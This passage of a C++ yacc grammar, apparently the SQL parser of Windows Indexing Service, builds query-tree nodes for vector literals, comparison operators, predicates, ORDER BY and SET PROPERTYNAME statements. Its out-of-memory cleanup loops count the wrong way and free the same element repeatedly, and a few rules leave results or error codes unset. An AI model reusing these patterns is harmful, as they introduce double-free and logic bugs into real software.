(CY*) CoTaskMemAlloc(sizeof(CY)*((PROPVARIANT*)pct->value.pvarValue)->cacy.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cacy.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cacy.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cacy.pElems[i] =
((PROPVARIANT*)pctList->value.pvarValue)->cyVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_DATE|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cadbl.pElems =
(double*) CoTaskMemAlloc(sizeof(double)*((PROPVARIANT*)pct->value.pvarValue)->cadbl.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cadbl.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cadbl.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cadbl.pElems[i] =
((PROPVARIANT*)pctList->value.pvarValue)->date;
pctList = pctList->pctNextSibling;
}
break;
case (VT_FILETIME|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cafiletime.pElems =
(FILETIME*) CoTaskMemAlloc(sizeof(FILETIME)*((PROPVARIANT*)pct->value.pvarValue)->cafiletime.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cafiletime.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cafiletime.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cafiletime.pElems[i] =
((PROPVARIANT*)pctList->value.pvarValue)->filetime;
pctList = pctList->pctNextSibling;
}
break;
case (VT_BSTR|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cabstr.pElems =
(BSTR*) CoTaskMemAlloc(sizeof(BSTR)*((PROPVARIANT*)pct->value.pvarValue)->cabstr.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cabstr.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cabstr.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cabstr.pElems[i] =
SysAllocString(pctList->value.pvarValue->bstrVal);
if ( 0 == ((PROPVARIANT*)pct->value.pvarValue)->cabstr.pElems[i] )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
pctList = pctList->pctNextSibling;
}
break;
case (DBTYPE_STR|VT_VECTOR):
pct->value.pvarValue->vt = VT_LPSTR | VT_VECTOR;
((PROPVARIANT*)pct->value.pvarValue)->calpstr.pElems =
(LPSTR*) CoTaskMemAlloc(sizeof(LPSTR)*((PROPVARIANT*)pct->value.pvarValue)->calpstr.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->calpstr.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->calpstr.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->calpstr.pElems[i] =
(LPSTR)CoTaskMemAlloc((lstrlenA(((PROPVARIANT*)pctList->value.pvarValue)->pszVal)+2)*sizeof(CHAR));
if ( 0 == ((PROPVARIANT*)pct->value.pvarValue)->calpstr.pElems[i] )
{
// free allocations made so far
for ( int j = i-1; j >= 0; j++ )
CoTaskMemFree( ((PROPVARIANT*)pct->value.pvarValue)->calpstr.pElems[i] );
CoTaskMemFree( ((PROPVARIANT*)pct->value.pvarValue)->calpstr.pElems );
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
strcpy(((PROPVARIANT*)pct->value.pvarValue)->calpstr.pElems[i],
((PROPVARIANT*)pctList->value.pvarValue)->pszVal);
pctList = pctList->pctNextSibling;
}
break;
case (DBTYPE_WSTR|VT_VECTOR):
pct->value.pvarValue->vt = VT_LPWSTR | VT_VECTOR;
((PROPVARIANT*)pct->value.pvarValue)->calpwstr.pElems =
(LPWSTR*) CoTaskMemAlloc(sizeof(LPWSTR)*((PROPVARIANT*)pct->value.pvarValue)->calpwstr.cElems);
if ( 0 == ((PROPVARIANT*)pct->value.pvarValue)->calpwstr.pElems )
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for ( i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->calpwstr.cElems; i++ )
{
((PROPVARIANT*)pct->value.pvarValue)->calpwstr.pElems[i] =
CoTaskStrDup(((PROPVARIANT*)pctList->value.pvarValue)->pwszVal);
if ( 0 == ((PROPVARIANT*)pct->value.pvarValue)->calpwstr.pElems[i] )
{
// free allocations made so far
for ( int j = i-1; j >= 0; j++ )
CoTaskMemFree( ((PROPVARIANT*)pct->value.pvarValue)->calpwstr.pElems[i] );
CoTaskMemFree( ((PROPVARIANT*)pct->value.pvarValue)->calpwstr.pElems );
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
pctList = pctList->pctNextSibling;
}
break;
case (VT_CLSID|VT_VECTOR):
pct->value.pvarValue->vt = VT_CLSID | VT_VECTOR;
((PROPVARIANT*)pct->value.pvarValue)->cauuid.pElems =
(GUID*) CoTaskMemAlloc(sizeof(GUID)*((PROPVARIANT*)pct->value.pvarValue)->cauuid.cElems);
if ( NULL == ((PROPVARIANT*)pct->value.pvarValue)->cauuid.pElems )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
for ( i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cauuid.cElems; i++ )
{
((PROPVARIANT*)pct->value.pvarValue)->cauuid.pElems[i] =
*((PROPVARIANT*)pctList->value.pvarValue)->puuid;
pctList = pctList->pctNextSibling;
}
break;
default:
assert(!"PctAllocNode: illegal wKind");
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"ARRAY");
DeleteDBQT( pct );
YYABORT(DB_E_ERRORSINCOMMAND);
}
}
}
else
{
switch ( m_pIPTProperties->GetDBType() )
{
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_UI8:
// Allows:
// DBOP_allbits
// DBOP_anybits
// when the LHS is a non vector.
//
// There isn't a way to say the following through SQL currently:
// DBOP_anybits_all
// DBOP_anybits_any
// DBOP_allbits_all
// DBOP_allbits_any
pct = $3;
$3 = 0;
break;
default:
assert(!"PctAllocNode: illegal wKind");
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"ARRAY");
YYABORT(DB_E_ERRORSINCOMMAND);
}
}
if ($3)
{
DeleteDBQT($3);
$3 = NULL;
}
$1->pctNextSibling = pct;
$2->pctFirstChild = $1;
$$ = $2;
}
;
all:
_ALL
;
some:
_SOME
| _ANY
;
vector_comp_op:
'='
{
if ( m_pIPTProperties->GetDBType() & DBTYPE_VECTOR )
$$ = PctCreateRelationalNode( DBOP_equal, DEFAULTWEIGHT );
else
$$ = PctCreateRelationalNode( DBOP_equal, DEFAULTWEIGHT );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction( VAL_AND_CCH_MINUS_NULL(L" = ") );
}
| '=' all
{
if ( m_pIPTProperties->GetDBType() & DBTYPE_VECTOR )
$$ = PctCreateRelationalNode( DBOP_equal_all, DEFAULTWEIGHT );
else
$$ = PctCreateRelationalNode( DBOP_allbits, DEFAULTWEIGHT );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
if ( m_pIPTProperties->GetDBType() & DBTYPE_VECTOR )
m_pIPTProperties->AppendCiRestriction( VAL_AND_CCH_MINUS_NULL(L" = ^a ") );
else
m_pIPTProperties->AppendCiRestriction( VAL_AND_CCH_MINUS_NULL(L" ^a ") );
}
| '=' some
{
if ( m_pIPTProperties->GetDBType() & DBTYPE_VECTOR )
$$ = PctCreateRelationalNode( DBOP_equal_any, DEFAULTWEIGHT );
else
$$ = PctCreateRelationalNode( DBOP_anybits, DEFAULTWEIGHT );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
if ( m_pIPTProperties->GetDBType() & DBTYPE_VECTOR )
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" = ^s "));
else
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" ^s "));
}
| _NE
{
if ( m_pIPTProperties->GetDBType() & DBTYPE_VECTOR )
$$ = PctCreateRelationalNode( DBOP_not_equal, DEFAULTWEIGHT );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" != ") );
}
| _NE all
{
$$ = PctCreateRelationalNode(DBOP_not_equal_all, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" != ^a "));
}
| _NE some
{
$$ = PctCreateRelationalNode(DBOP_not_equal_any, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" != ^s "));
}
| '<'
{
$$ = PctCreateRelationalNode(DBOP_less, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" < "));
}
| '<' all
{
$$ = PctCreateRelationalNode(DBOP_less_all, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" < ^a "));
}
| '<' some
{
$$ = PctCreateRelationalNode(DBOP_less_any, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" < ^s "));
}
| '>'
{
$$ = PctCreateRelationalNode(DBOP_greater, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" > "));
}
| '>' all
{
$$ = PctCreateRelationalNode(DBOP_greater_all, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" > ^a "));
}
| '>' some
{
$$ = PctCreateRelationalNode(DBOP_greater_any, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" > ^s "));
}
| _LE
{
$$ = PctCreateRelationalNode(DBOP_less_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" <= "));
}
| _LE all
{
$$ = PctCreateRelationalNode(DBOP_less_equal_all, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" <= ^a "));
}
| _LE some
{
$$ = PctCreateRelationalNode(DBOP_less_equal_any, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" <= ^s "));
}
| _GE
{
$$ = PctCreateRelationalNode(DBOP_greater_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" >= "));
}
| _GE all
{
$$ = PctCreateRelationalNode(DBOP_greater_equal_all, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" >= ^a "));
}
| _GE some
{
$$ = PctCreateRelationalNode(DBOP_greater_equal_any, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" >= ^s "));
}
;
vector_literal:
_ARRAY left_sqbrkt opt_literal_list right_sqbrkt
{
$$ = PctReverse($3);
}
;
left_sqbrkt:
'['
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"{"));
}
;
right_sqbrkt:
']'
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"}"));
}
;
opt_literal_list:
/* empty */
{
$$ = NULL;
}
| literal_list
;
literal_list:
literal_list comma typed_literal
{
AssertReq($1);
if (NULL == $3)
YYABORT(DB_E_CANTCONVERTVALUE);
$$ = PctLink($3, $1);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
| typed_literal
{
if (NULL == $1)
YYABORT(DB_E_CANTCONVERTVALUE);
$$ = $1;
}
;
comma:
','
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L","));
}
;
/* 4.4.x NULL Predicate */
null_predicate:
column_reference _IS _NULL
{
AssertReq($1);
$2 = PctAllocNode(DBVALUEKIND_VARIANT, DBOP_scalar_constant);
if (NULL == $2)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
((PROPVARIANT*)$2->value.pvValue)->vt = VT_EMPTY;
$$ = PctCreateRelationalNode(DBOP_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
$$->pctFirstChild = $1;
$1->pctNextSibling = $2;
}
| column_reference _IS_NOT _NULL
{
AssertReq($1);
$2 = PctAllocNode(DBVALUEKIND_VARIANT, DBOP_scalar_constant);
if (NULL == $2)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
((PROPVARIANT*)$2->value.pvValue)->vt = VT_EMPTY;
// $$ = PctCreateRelationalNode(DBOP_not_equal, DEFAULTWEIGHT);
$$ = PctCreateRelationalNode(DBOP_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
$$->pctFirstChild = $1;
$1->pctNextSibling = $2;
$$ = PctCreateNotNode(DEFAULTWEIGHT, $$);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
;
/* 8.12 search_condition */
search_condition:
boolean_term
| search_condition or_op boolean_term
{
AssertReq($1);
AssertReq($3);
$$ = PctCreateBooleanNode(DBOP_or, DEFAULTWEIGHT, $1, $3);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
;
boolean_term:
boolean_factor
| boolean_term and_op boolean_factor
{
AssertReq($1);
AssertReq($3);
$$ = PctCreateBooleanNode(DBOP_and, DEFAULTWEIGHT, $1, $3);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
;
boolean_factor:
boolean_test
| not_op boolean_test %prec mHighest
{
AssertReq($2);
$$ = PctCreateNotNode(DEFAULTWEIGHT, $2);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
;
or_op:
_OR
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" OR "));
}
;
and_op:
_AND
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" AND "));
}
;
not_op:
_NOT
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" NOT "));
}
;
boolean_test:
boolean_primary
| boolean_primary _IS _TRUE
{
AssertReq($1);
$$ = PctCreateNode(DBOP_is_TRUE, $1, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
| boolean_primary _IS _FALSE
{
AssertReq($1);
$$ = PctCreateNode(DBOP_is_FALSE, $1, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
| boolean_primary _IS _UNKNOWN
{
AssertReq($1);
$$ = PctCreateNode(DBOP_is_INVALID, $1, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
| boolean_primary _IS_NOT _TRUE
{
AssertReq($1);
$2 = PctCreateNode(DBOP_is_TRUE, $1, NULL);
if (NULL == $2)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
$$ = PctCreateNotNode(DEFAULTWEIGHT, $2);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
| boolean_primary _IS_NOT _FALSE
{
AssertReq($1);
$2 = PctCreateNode(DBOP_is_FALSE, $1, NULL);
if (NULL == $2)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
$$ = PctCreateNotNode(DEFAULTWEIGHT, $2);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
| boolean_primary _IS_NOT _UNKNOWN
{
AssertReq($1);
$2 = PctCreateNode(DBOP_is_INVALID, $1, NULL);
if (NULL == $2)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
$$ = PctCreateNotNode(DEFAULTWEIGHT, $2);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
;
boolean_primary:
/* empty */
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"("));
$$ = NULL;
}
predicate
{
AssertReq($2);
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L")"));
$$ = $2;
}
| '(' search_condition ')'
{
AssertReq($2);
$$ = $2;
}
;
order_by_clause:
_ORDER_BY sort_specification_list
{
AssertReq($2);
$2 = PctReverse($2);
$$ = PctCreateNode(DBOP_sort_list_anchor, $2, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
;
sort_specification_list:
sort_specification_list ',' sort_specification
{
AssertReq($1);
AssertReq($3);
$$ = PctLink($3, $1);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
}
| sort_specification
;
sort_specification:
sort_key opt_ordering_specification
{
AssertReq($1);
AssertReq($2);
$2->value.pdbsrtinfValue->lcid = m_pIPSession->GetLCID();
$2->pctFirstChild = $1;
$$ = $2;
}
;
opt_ordering_specification:
/* empty */
{
$$ = PctCreateNode(DBOP_sort_list_element, DBVALUEKIND_SORTINFO, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
$$->value.pdbsrtinfValue->fDesc = m_pIPTProperties->GetSortDesc();
}
| _ASC
{
$$ = PctCreateNode(DBOP_sort_list_element, DBVALUEKIND_SORTINFO, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
$$->value.pdbsrtinfValue->fDesc = QUERY_SORTASCEND;
m_pIPTProperties->SetSortDesc(QUERY_SORTASCEND);
}
| _DESC
{
$$ = PctCreateNode(DBOP_sort_list_element, DBVALUEKIND_SORTINFO, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY );
}
$$->value.pdbsrtinfValue->fDesc = QUERY_SORTDESCEND;
m_pIPTProperties->SetSortDesc(QUERY_SORTDESCEND);
}
;
sort_key:
column_reference
{
//@SetCiColumn does the clear m_pCMonarchSessionData->ClearCiColumn();
}
| integer
;
opt_order_by_clause:
/* empty */
{
$$ = NULL;
}
| order_by_clause
{
$$ = $1;
}
;
/* 4.6 SET Statement */
set_statement:
set_propertyname_statement
| set_rankmethod_statement
| set_global_directive
;
set_propertyname_statement:
_SET _PROPERTYNAME guid_format _PROPID property_id _AS column_alias opt_type_clause
{
HRESULT hr = S_OK;
$1 = PctBuiltInProperty($7->value.pwszValue, m_pIPSession, m_pIPTProperties);
if (NULL != $1)
{
// This is a built-in friendly name. Definition better match built in definition.
if (*$3->value.pGuid != $1->value.pdbidValue->uGuid.guid ||
m_pIPTProperties->GetDBType() != $8->value.usValue ||
DBKIND_GUID_PROPID != $1->value.pdbidValue->eKind ||
$5->value.pvarValue->lVal != (long)$1->value.pdbidValue->uName.ulPropid)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_BUILTIN_PROPERTY);
m_pIPTProperties->SetErrorToken($7->value.pwszValue);
YYABORT(DB_E_ERRORSINCOMMAND);
}
}
else
m_pIPSession->m_pCPropertyList->SetPropertyEntry($7->value.pwszValue,
$8->value.ulValue,
*$3->value.pGuid,
DBKIND_GUID_PROPID,
(LPWSTR) LongToPtr( $5->value.pvarValue->lVal ),
m_pIPSession->GetGlobalDefinition());
if (FAILED(hr))
{
// Unable to store the property name and/or values in the symbol table
m_pIPTProperties->SetErrorHResult(hr, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($7->value.pwszValue);
YYABORT(DB_E_ERRORSINCOMMAND);
}
if ($1)
DeleteDBQT($1);
DeleteDBQT($3);
DeleteDBQT($5);
DeleteDBQT($7);
DeleteDBQT($8);
$$ = NULL;
}
| _SET _PROPERTYNAME guid_format _PROPID property_name _AS column_alias opt_type_clause
{
HRESULT hr = S_OK;
$1 = PctBuiltInProperty($7->value.pwszValue, m_pIPSession, m_pIPTProperties);
if (NULL != $1)
{
// This is a built-in friendly name. Definition better match built in definition.
if (*$3->value.pGuid != $1->value.pdbidValue->uGuid.guid ||
m_pIPTProperties->GetDBType() != $8->value.ulValue ||
DBKIND_GUID_NAME != $1->value.pdbidValue->eKind ||
0 != _wcsicmp(((PROPVARIANT*)$5->value.pvValue)->bstrVal, $1->value.pdbidValue->uName.pwszName))
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_BUILTIN_PROPERTY);
// m_pIPTProperties->SetErrorToken($1->value.pwszValue);
YYABORT(DB_E_ERRORSINCOMMAND);
}
}
else
hr = m_pIPSession->m_pCPropertyList->SetPropertyEntry($7->value.pwszValue,
$8->value.ulValue,
*$3->value.pGuid,
DBKIND_GUID_NAME,
((PROPVARIANT*)$5->value.pvValue)->bstrVal,
m_pIPSession->GetGlobalDefinition());
if (FAILED(hr))
{
// Unable to store the property name and/or values in the symbol table
m_pIPTProperties->SetErrorHResult(hr, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($7->value.pwszValue);
YYABORT(DB_E_ERRORSINCOMMAND);
}
if ($1)
DeleteDBQT($1);
DeleteDBQT($3);
DeleteDBQT($5);
DeleteDBQT($7);
DeleteDBQT($8);
}
;
column_alias:
identifier
;
opt_type_clause:
/* empty */
{
$$ = PctCreateNode(DBOP_scalar_constant, DBVALUEKIND_UI2, NULL);
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.usValue = DBTYPE_WSTR|DBTYPE_BYREF;
}
| _TYPE dbtype
{
$$ = $2;
}
;
dbtype:
base_dbtype
{
AssertReq($1);
DBTYPE dbType = GetDBTypeFromStr($1->value.pwszValue);
if ((DBTYPE_EMPTY == dbType) ||
(DBTYPE_BYREF == dbType) ||
(DBTYPE_VECTOR == dbType))
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($1->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"<base Indexing Service dbtype1");
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($1);
$1 = NULL;
$$ = PctCreateNode(DBOP_scalar_constant, DBVALUEKIND_UI2, NULL);
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
if (DBTYPE_WSTR == dbType || DBTYPE_STR == dbType)
dbType = dbType | DBTYPE_BYREF;
$$->value.usValue = dbType;
}
| base_dbtype '|' base_dbtype
{
AssertReq($1);
AssertReq($3);
DBTYPE dbType1 = GetDBTypeFromStr($1->value.pwszValue);
DBTYPE dbType2 = GetDBTypeFromStr($3->value.pwszValue);
